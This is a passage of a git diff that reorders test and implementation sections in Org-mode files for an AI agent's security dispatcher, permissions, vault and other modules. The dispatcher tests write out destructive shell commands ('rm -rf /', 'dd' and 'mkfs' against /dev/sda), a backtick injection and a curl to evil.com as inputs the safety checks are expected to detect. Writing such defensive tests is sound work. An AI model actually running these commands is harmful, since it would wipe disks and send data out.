(unwind-protect - (let* ((action '(:TYPE :REQUEST :TARGET :tool - :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) - (result (dispatcher-check action nil))) - (is (eq :REQUEST (getf result :type))) - (is (not (member (getf result :type) '(:LOG :approval-required))))) - (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) - -(test test-safe-tool-write-still-checked - "Contract v0.7.2: write tools still go through full dispatcher check." - (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) - (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "write-file" - :description "File writer" - :parameters nil - :guard nil - :body nil - :read-only-p nil)) - (unwind-protect - (progn - (setf (uiop:getenv "SELF_BUILD_MODE") "true") - (let* ((action '(:TYPE :REQUEST :TARGET :tool - :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) - (result (dispatcher-check action nil))) - (is (eq :approval-required (getf result :level))) - (is (search "HITL" (getf (getf result :payload) :message))))) - (setf (uiop:getenv "SELF_BUILD_MODE") "false") - (if orig-tool - (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) - (remhash "write-file" passepartout::*cognitive-tool-registry*))))) -#+end_src - * Implementation ** Package Context @@ -992,7 +802,195 @@ from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard. (list :total total :by-gate sorted))) #+end_src -* v0.8.0 Tests — Block Counts +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-dispatcher-tests + (:use :cl :fiveam :passepartout) + (:export #:dispatcher-suite)) + +(in-package :passepartout-security-dispatcher-tests) + +(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") +(in-suite dispatcher-suite) + +(test test-wildcard-match + "Contract 1: wildcard pattern * matches any characters." + (is (wildcard-match "*.env" ".env")) + (is (wildcard-match "*.env" "prod.env")) + (is (wildcard-match "*credential*" "my-credential-file")) + (is (wildcard-match "*.key" "id_rsa.key")) + (is (not (wildcard-match "*.env" "config.yaml")))) + +(test test-check-secret-path + "Contract 2: dispatcher-check-secret-path matches protected patterns." + (is (dispatcher-check-secret-path ".env")) + (is (dispatcher-check-secret-path "id_rsa")) + (is (not (dispatcher-check-secret-path "README.org")))) + +(test test-self-build-core-protection + "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." + ;; Core paths are recognized + (is (passepartout::dispatcher-check-core-path "core-reason.org")) + (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) + (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) + ;; With SELF_BUILD_MODE=true, core writes produce approval-required + (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let ((result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false")) + ;; With SELF_BUILD_MODE=false (default), writes pass through + (let ((result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type)))))) + +(test test-check-shell-safety + "Contract 3: dispatcher-check-shell-safety detects dangerous commands." + (is (dispatcher-check-shell-safety "rm -rf /")) + (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) + (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) + (is (not (dispatcher-check-shell-safety "echo hello world"))) + (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) + +(test test-shell-safety-severity-catastrophic + "Contract 3/v0.4.3: destructive commands return :catastrophic severity." + (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) + (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) + (is (eq :catastrophic (getf r1 :severity))) + (is (eq :catastrophic (getf r2 :severity))))) + +(test test-shell-safety-severity-dangerous + "Contract 3/v0.4.3: injection patterns return :dangerous severity." + (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) + (is (eq :dangerous (getf result :severity))))) + +(test test-shell-safety-severity-safe + "Contract 3/v0.4.3: harmless commands return nil." + (is (null (dispatcher-check-shell-safety "echo hello world"))) + (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) + (is (null (dispatcher-check-shell-safety "cat file.txt")))) + +(test test-dispatcher-severity-max + "dispatcher-severity-max returns the higher tier." + (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) + (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) + (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) + (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) + +(test test-check-privacy-tags + "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." + (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) + (is (dispatcher-check-privacy-tags '("@personal"))) + (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) + +(test test-check-network-exfil + "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." + (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) + (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) + (is (not (dispatcher-check-network-exfil "echo hello")))) + +;; ── v0.7.2 Tag Stack ── + +(test test-tag-categories-load + "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." + (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") + (passepartout::tag-categories-load) + (let ((cats passepartout::*tag-categories*)) + (is (>= (length cats) 1)) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :warn (passepartout::tag-category-severity "@draft"))) + (is (eq :log (passepartout::tag-category-severity "@review")))) + (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) + +(test test-tag-category-severity-unknown + "Contract v0.7.2: unknown tag returns nil." + (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) + +(test test-privacy-severity-block + "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." + (setf passepartout::*tag-categories* '(("@personal" . :block))) + (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) + +(test test-privacy-severity-warn + "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." + (setf passepartout::*tag-categories* '(("@draft" . :warn))) + (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) + +(test test-privacy-severity-nil + "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." + (setf passepartout::*tag-categories* nil) + (is (null (passepartout::dispatcher-privacy-severity '("public"))))) + +(test test-tag-trigger-record + "v0.7.2: tag-trigger-record increments per-tag count." + (clrhash passepartout::*tag-trigger-count*) + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@draft") + (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) + (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) + (clrhash passepartout::*tag-trigger-count*)) + +(test test-tag-categories-privacy-fallback + "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." + (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) + (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")) + (saved-tag (uiop:getenv "TAG_CATEGORIES")) + (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) + ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES + (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) + (sb-posix:unsetenv "TAG_CATEGORIES") + (passepartout::tag-categories-load) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :block (passepartout::tag-category-severity "@draft"))) + ;; Restore + (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) + (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) + (passepartout::tag-categories-load))) + +(test test-safe-tool-read-only-auto-approve + "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." + (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "test-ro-tool" + :description "Read-only test" + :parameters nil + :guard nil + :body nil + :read-only-p t)) + (unwind-protect + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) + (result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type))) + (is (not (member (getf result :type) '(:LOG :approval-required))))) + (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) + +(test test-safe-tool-write-still-checked + "Contract v0.7.2: write tools still go through full dispatcher check." + (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "write-file" + :description "File writer" + :parameters nil + :guard nil + :body nil + :read-only-p nil)) + (unwind-protect + (progn + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) + (result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (is (search "HITL" (getf (getf result :payload) :message))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false") + (if orig-tool + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) + (remhash "write-file" passepartout::*cognitive-tool-registry*))))) +#+end_src* v0.8.0 Tests — Block Counts #+begin_src lisp (in-package :passepartout-security-dispatcher-tests) diff --git a/org/security-permissions.org b/org/security-permissions.org index c9d7a37..ba5f76d 100644 --- a/org/security-permissions.org +++ b/org/security-permissions.org @@ -25,39 +25,6 @@ consults this table as one of its ten scan vectors. - Does NOT persist permissions to disk — this is runtime-only. - Does NOT validate that ~level~ is one of ~(:allow :ask :deny)~. -* Test Suite - -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-permissions-tests - (:use :cl :fiveam :passepartout) - (:export #:permissions-suite)) - -(in-package :passepartout-security-permissions-tests) - -(def-suite permissions-suite :description "Verification of Tool Permissions") -(in-suite permissions-suite) - -(test test-permission-round-trip - "Contract 1: permission-set stores a level; permission-get retrieves it." - (permission-set "test-tool" :allow) - (is (eq :allow (permission-get "test-tool"))) - ;; Clean up - (permission-set "test-tool" nil)) - -(test test-permission-default - "Contract 2: unregistered tools default to :ask." - (is (eq :ask (permission-get "never-registered-tool-xyz")))) - -(test test-permission-case-insensitive - "Contract 3: tool names are normalized to lowercase." - (permission-set :CapitalTool :deny) - (is (eq :deny (permission-get :capitaltool))) - (permission-set "CapitalTool" nil)) -#+end_src - * Implementation ** Package Context @@ -97,3 +64,35 @@ Retrieves the current permission level for a tool. Defaults to ~:ask~ if unset. :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-permissions-tests + (:use :cl :fiveam :passepartout) + (:export #:permissions-suite)) + +(in-package :passepartout-security-permissions-tests) + +(def-suite permissions-suite :description "Verification of Tool Permissions") +(in-suite permissions-suite) + +(test test-permission-round-trip + "Contract 1: permission-set stores a level; permission-get retrieves it." + (permission-set "test-tool" :allow) + (is (eq :allow (permission-get "test-tool"))) + ;; Clean up + (permission-set "test-tool" nil)) + +(test test-permission-default + "Contract 2: unregistered tools default to :ask." + (is (eq :ask (permission-get "never-registered-tool-xyz")))) + +(test test-permission-case-insensitive + "Contract 3: tool names are normalized to lowercase." + (permission-set :CapitalTool :deny) + (is (eq :deny (permission-get :capitaltool))) + (permission-set "CapitalTool" nil)) +#+end_src \ No newline at end of file diff --git a/org/security-policy.org b/org/security-policy.org index 4ef285c..d8bdded 100644 --- a/org/security-policy.org +++ b/org/security-policy.org @@ -24,6 +24,38 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha - Does NOT validate explanation quality — only length and presence. - Does NOT consider ~context~ — implementation ignores it currently. +* Implementation + +** Package Context +#+begin_src lisp +(in-package :passepartout) +#+end_src + +** Policy Logic (policy-compliance-check) +;; REPL-VERIFIED: 2026-05-03T13:00:00 +#+begin_src lisp +(defun policy-compliance-check (action context) + "Enforces constitutional invariants on proposed actions." + (declare (ignore context)) + (let* ((payload (proto-get action :payload)) + (explanation (proto-get payload :explanation))) + (if (and explanation (stringp explanation) (> (length explanation) 10)) + action + (progn + (log-message "POLICY VIOLATION: Action lacks sufficient explanation.") + (list :type :LOG + :payload (list :level :warn + :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning.")))))) +#+end_src + +** Skill Registration +#+begin_src lisp +(defskill :passepartout-security-policy + :priority 500 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic #'policy-compliance-check) +#+end_src + * Test Suite #+begin_src lisp @@ -57,37 +89,4 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha (let* ((action '(:type :REQUEST :payload (:action :read))) (result (policy-compliance-check action nil))) (is (eq :LOG (getf result :type))))) -#+end_src - -* Implementation - -** Package Context -#+begin_src lisp -(in-package :passepartout) -#+end_src - -** Policy Logic (policy-compliance-check) -;; REPL-VERIFIED: 2026-05-03T13:00:00 -#+begin_src lisp -(defun policy-compliance-check (action context) - "Enforces constitutional invariants on proposed actions." - (declare (ignore context)) - (let* ((payload (proto-get action :payload)) - (explanation (proto-get payload :explanation))) - (if (and explanation (stringp explanation) (> (length explanation) 10)) - action - (progn - (log-message "POLICY VIOLATION: Action lacks sufficient explanation.") - (list :type :LOG - :payload (list :level :warn - :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning.")))))) -#+end_src - -** Skill Registration -#+begin_src lisp -(defskill :passepartout-security-policy - :priority 500 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic #'policy-compliance-check) -#+end_src - +#+end_src \ No newline at end of file diff --git a/org/security-validator.org b/org/security-validator.org index 9ed4dd3..1ee7792 100644 --- a/org/security-validator.org +++ b/org/security-validator.org @@ -27,6 +27,34 @@ before they reach any cognitive stage. - Does NOT define the schema — that is ~core-transport.org~. - Does NOT validate semantic content — that is the Dispatcher and Policy. +* Implementation + +** Package Context +#+begin_src lisp +(in-package :passepartout) +#+end_src + +** Validation Logic +;; REPL-VERIFIED: 2026-05-03T13:00:00 +#+begin_src lisp +(defun validator-protocol-check (msg) + "Enforces structural schema compliance on protocol messages." + (validate-communication-protocol-schema msg)) +#+end_src + +** Skill Registration +#+begin_src lisp +(defskill :passepartout-security-validator + :priority 95 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + (handler-case + (progn (validator-protocol-check action) action) + (error (c) + (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) +#+end_src + * Test Suite #+begin_src lisp @@ -57,33 +85,4 @@ before they reach any cognitive stage. (let ((msg '(:payload (:sensor :heartbeat)))) (signals error (validator-protocol-check msg)))) -#+end_src - -* Implementation - -** Package Context -#+begin_src lisp -(in-package :passepartout) -#+end_src - -** Validation Logic -;; REPL-VERIFIED: 2026-05-03T13:00:00 -#+begin_src lisp -(defun validator-protocol-check (msg) - "Enforces structural schema compliance on protocol messages." - (validate-communication-protocol-schema msg)) -#+end_src - -** Skill Registration -#+begin_src lisp -(defskill :passepartout-security-validator - :priority 95 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (handler-case - (progn (validator-protocol-check action) action) - (error (c) - (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) -#+end_src - +#+end_src \ No newline at end of file diff --git a/org/security-vault.org b/org/security-vault.org index 80ad058..b9d6257 100644 --- a/org/security-vault.org +++ b/org/security-vault.org @@ -35,61 +35,6 @@ through here. - Does NOT validate key format — the provider skill does that. - Does NOT rotate or expire keys — this is a simple store. -* Test Suite - -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-vault-tests - (:use :cl :fiveam :passepartout) - (:export #:vault-suite)) - -(in-package :passepartout-security-vault-tests) - -(def-suite vault-suite :description "Verification of the Credentials Vault") -(in-suite vault-suite) - -(test test-vault-round-trip - "Contract 1: vault-set stores a value; vault-get retrieves it." - (let ((test-key :vault-test-round-trip) - (test-secret "secret-abc123")) - (vault-set test-key test-secret) - (is (string= test-secret (vault-get test-key))) - ;; Clean up - (vault-set test-key nil))) - -(test test-vault-missing-key - "Contract 2: vault-get returns NIL for an unset, unknown provider." - (is (null (vault-get :nonexistent-provider-xyz)))) - -(test test-vault-isolation - "Contract 5: storing for provider A does not affect provider B." - (vault-set :vault-prov-a "secret-a") - (vault-set :vault-prov-b "secret-b") - (is (string= "secret-a" (vault-get :vault-prov-a))) - (is (string= "secret-b" (vault-get :vault-prov-b))) - (vault-set :vault-prov-a nil) - (vault-set :vault-prov-b nil)) - -(test test-vault-secret-wrappers - "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret." - (let ((test-provider :vault-secret-test)) - (vault-set-secret test-provider "my-token") - (is (string= "my-token" (vault-get-secret test-provider))) - ;; Clean up - (vault-set-secret test-provider nil))) - -(test test-vault-type-isolation - "Contract 5: different :type values produce different keys." - (vault-set :vault-type-test "key-value" :type :api-key) - (vault-set :vault-type-test "secret-value" :type :secret) - (is (string= "key-value" (vault-get :vault-type-test :type :api-key))) - (is (string= "secret-value" (vault-get :vault-type-test :type :secret))) - (vault-set :vault-type-test nil :type :api-key) - (vault-set :vault-type-test nil :type :secret)) -#+end_src - * Implementation ** Package Context @@ -158,3 +103,57 @@ Delegates to the existing =vault-get=/=vault-set= with ~:type :secret~. :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-vault-tests + (:use :cl :fiveam :passepartout) + (:export #:vault-suite)) + +(in-package :passepartout-security-vault-tests) + +(def-suite vault-suite :description "Verification of the Credentials Vault") +(in-suite vault-suite) + +(test test-vault-round-trip + "Contract 1: vault-set stores a value; vault-get retrieves it." + (let ((test-key :vault-test-round-trip) + (test-secret "secret-abc123")) + (vault-set test-key test-secret) + (is (string= test-secret (vault-get test-key))) + ;; Clean up + (vault-set test-key nil))) + +(test test-vault-missing-key + "Contract 2: vault-get returns NIL for an unset, unknown provider." + (is (null (vault-get :nonexistent-provider-xyz)))) + +(test test-vault-isolation + "Contract 5: storing for provider A does not affect provider B." + (vault-set :vault-prov-a "secret-a") + (vault-set :vault-prov-b "secret-b") + (is (string= "secret-a" (vault-get :vault-prov-a))) + (is (string= "secret-b" (vault-get :vault-prov-b))) + (vault-set :vault-prov-a nil) + (vault-set :vault-prov-b nil)) + +(test test-vault-secret-wrappers + "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret." + (let ((test-provider :vault-secret-test)) + (vault-set-secret test-provider "my-token") + (is (string= "my-token" (vault-get-secret test-provider))) + ;; Clean up + (vault-set-secret test-provider nil))) + +(test test-vault-type-isolation + "Contract 5: different :type values produce different keys." + (vault-set :vault-type-test "key-value" :type :api-key) + (vault-set :vault-type-test "secret-value" :type :secret) + (is (string= "key-value" (vault-get :vault-type-test :type :api-key))) + (is (string= "secret-value" (vault-get :vault-type-test :type :secret))) + (vault-set :vault-type-test nil :type :api-key) + (vault-set :vault-type-test nil :type :secret)) +#+end_src \ No newline at end of file diff --git a/org/sensor-time.org b/org/sensor-time.org index ff907f1..e5cc157 100644 --- a/org/sensor-time.org +++ b/org/sensor-time.org @@ -26,77 +26,6 @@ All pure Lisp, 0 LLM tokens for temporal awareness. ~:SCHEDULED~ properties. If any are within ~DEADLINE_WARNING_MINUTES~, returns a formatted deadline note string. Returns nil otherwise. -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-sensor-time-tests - (:use :cl :fiveam :passepartout) - (:export #:sensor-time-suite)) - -(in-package :passepartout-sensor-time-tests) - -(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines") -(in-suite sensor-time-suite) - -(test test-format-time-for-llm-includes-year - "Contract 1: format-time-for-llm returns a string with the current year." - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "202" result)) - (is (search "TIME" result)))) - -(test test-format-time-for-llm-utc - "Contract 1: iso format includes Z suffix." - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "Z" result)))) - -(test test-format-time-for-llm-natural - "Contract 1: natural format produces human-readable date." - (let ((old-env (or (uiop:getenv "TIME_FORMAT") ""))) - (unwind-protect - (progn - (setf (uiop:getenv "TIME_FORMAT") "natural") - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "UTC" result)))) - (setf (uiop:getenv "TIME_FORMAT") old-env)))) - -(test test-format-time-for-llm-with-session - "Contract 1: with session duration, includes session info." - (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720))) - (is (search "1h 2m" result)))) - -(test test-session-duration - "Contract 2: session-duration returns a positive number after init." - (passepartout::sensor-time-initialize) - (let ((dur (passepartout::session-duration))) - (is (numberp dur)) - (is (>= dur 0)))) - -(test test-sensor-time-tick-empty - "Contract 3: sensor-time-tick returns nil when no deadlines are near." - (clrhash passepartout::*memory-store*) - (let ((result (passepartout::sensor-time-tick))) - (is (null result)))) - -(test test-sensor-time-tick-detects-deadline - "Contract 3: sensor-time-tick detects a deadline close in time." - (clrhash passepartout::*memory-store*) - (setf passepartout::*deadline-warning-minutes* 120) - (let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago - (ingest-ast (list :type :HEADLINE - :properties (list :ID "deadline-test" - :TITLE "Submit report" - :DEADLINE (write-to-string near-future-time)) - :contents nil))) - (let ((result (passepartout::sensor-time-tick))) - (is (not (null result))) - (is (search "Submit report" result)))) -#+end_src - * Implementation ** Package context @@ -216,3 +145,73 @@ Called by the time-tick cron job every minute." (sensor-time-initialize) #+end_src +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-sensor-time-tests + (:use :cl :fiveam :passepartout) + (:export #:sensor-time-suite)) + +(in-package :passepartout-sensor-time-tests) + +(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines") +(in-suite sensor-time-suite) + +(test test-format-time-for-llm-includes-year + "Contract 1: format-time-for-llm returns a string with the current year." + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "202" result)) + (is (search "TIME" result)))) + +(test test-format-time-for-llm-utc + "Contract 1: iso format includes Z suffix." + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "Z" result)))) + +(test test-format-time-for-llm-natural + "Contract 1: natural format produces human-readable date." + (let ((old-env (or (uiop:getenv "TIME_FORMAT") ""))) + (unwind-protect + (progn + (setf (uiop:getenv "TIME_FORMAT") "natural") + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "UTC" result)))) + (setf (uiop:getenv "TIME_FORMAT") old-env)))) + +(test test-format-time-for-llm-with-session + "Contract 1: with session duration, includes session info." + (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720))) + (is (search "1h 2m" result)))) + +(test test-session-duration + "Contract 2: session-duration returns a positive number after init." + (passepartout::sensor-time-initialize) + (let ((dur (passepartout::session-duration))) + (is (numberp dur)) + (is (>= dur 0)))) + +(test test-sensor-time-tick-empty + "Contract 3: sensor-time-tick returns nil when no deadlines are near." + (clrhash passepartout::*memory-store*) + (let ((result (passepartout::sensor-time-tick))) + (is (null result)))) + +(test test-sensor-time-tick-detects-deadline + "Contract 3: sensor-time-tick detects a deadline close in time." + (clrhash passepartout::*memory-store*) + (setf passepartout::*deadline-warning-minutes* 120) + (let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago + (ingest-ast (list :type :HEADLINE + :properties (list :ID "deadline-test" + :TITLE "Submit report" + :DEADLINE (write-to-string near-future-time)) + :contents nil))) + (let ((result (passepartout::sensor-time-tick))) + (is (not (null result))) + (is (search "Submit report" result)))) +#+end_src \ No newline at end of file diff --git a/org/symbolic-archivist.org b/org/symbolic-archivist.org index 0174d20..6dd7d88 100644 --- a/org/symbolic-archivist.org +++ b/org/symbolic-archivist.org @@ -27,48 +27,6 @@ events, performing two core functions: 5. (archivist-gardener-scan): heartbeat-driven — scans for broken file links and orphaned memory objects. -* Test Suite - -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-symbolic-archivist-tests - (:use :cl :passepartout) - (:export #:archivist-suite)) - -(in-package :passepartout-symbolic-archivist-tests) - -(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill") -(fiveam:in-suite archivist-suite) - -(fiveam:test test-extract-headlines - "Contract 1: archivist-extract-headlines parses Org content." - (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline")) - (headlines (archivist-extract-headlines content))) - (fiveam:is (listp headlines)) - (fiveam:is (>= (length headlines) 1)))) - -(fiveam:test test-headline-to-filename - "Contract 2: archivist-headline-to-filename sanitizes titles." - (let ((filename (archivist-headline-to-filename "My Project: Overview"))) - (fiveam:is (search "my_project_overview" filename :test #'char-equal)) - (fiveam:is (not (search ":" filename))))) - -(fiveam:test test-archivist-create-note - "Contract 3: archivist-create-note writes a Zettelkasten note to disk." - (let* ((tmp-dir "/tmp/passepartout-archivist-test/") - (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic")))) - (uiop:ensure-all-directories-exist (list tmp-dir)) - (unwind-protect - (progn - (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org")) - "Expected note creation to return T") - (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir)) - "Expected file test_note.org to exist")) - (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) -#+end_src - * Implementation ** Package Context @@ -380,3 +338,44 @@ and dispatches as needed. Called by the deterministic gate." :deterministic #'archivist-run) #+end_src +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-symbolic-archivist-tests + (:use :cl :passepartout) + (:export #:archivist-suite)) + +(in-package :passepartout-symbolic-archivist-tests) + +(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill") +(fiveam:in-suite archivist-suite) + +(fiveam:test test-extract-headlines + "Contract 1: archivist-extract-headlines parses Org content." + (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline")) + (headlines (archivist-extract-headlines content))) + (fiveam:is (listp headlines)) + (fiveam:is (>= (length headlines) 1)))) + +(fiveam:test test-headline-to-filename + "Contract 2: archivist-headline-to-filename sanitizes titles." + (let ((filename (archivist-headline-to-filename "My Project: Overview"))) + (fiveam:is (search "my_project_overview" filename :test #'char-equal)) + (fiveam:is (not (search ":" filename))))) + +(fiveam:test test-archivist-create-note + "Contract 3: archivist-create-note writes a Zettelkasten note to disk." + (let* ((tmp-dir "/tmp/passepartout-archivist-test/") + (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic")))) + (uiop:ensure-all-directories-exist (list tmp-dir)) + (unwind-protect + (progn + (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org")) + "Expected note creation to return T") + (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir)) + "Expected file test_note.org to exist")) + (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) +#+end_src \ No newline at end of file diff --git a/org/symbolic-awareness.org b/org/symbolic-awareness.org index f754707..2d40ddb 100644 --- a/org/symbolic-awareness.org +++ b/org/symbolic-awareness.org @@ -41,77 +41,6 @@ The effectiveness of this depends on the embedding backend. The default ~:trigra 2. (context-assemble-global-awareness): zero-arg wrapper — calls ~context-awareness-assemble~ without foveal focus. -* Test Suite -Verifies that the Foveal-Peripheral rendering correctly distinguishes between foveal (detailed) and peripheral (outline) content, and that the awareness budget includes all active projects. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-peripheral-vision-tests - (:use :cl :fiveam :passepartout) - (:export #:vision-suite)) -(in-package :passepartout-peripheral-vision-tests) - -(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.") -(in-suite vision-suite) - -(test test-foveal-rendering - "Contract 1: foveal content inline, peripheral content title-only." - (clrhash passepartout::*memory-store*) - (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project")) - :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node") - :raw-content "FOVEAL CONTENT" :contents nil) - (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node") - :raw-content "PERIPHERAL CONTENT" :contents nil))))) - (ingest-ast ast) - (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal")))) - (is (search "FOVEAL CONTENT" output)) - (is (search "* Peripheral Node" output)) - (is (not (search "PERIPHERAL CONTENT" output)))))) - -(test test-awareness-budget - "Contract 1: all active projects appear in awareness output." - (clrhash passepartout::*memory-store*) - (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS 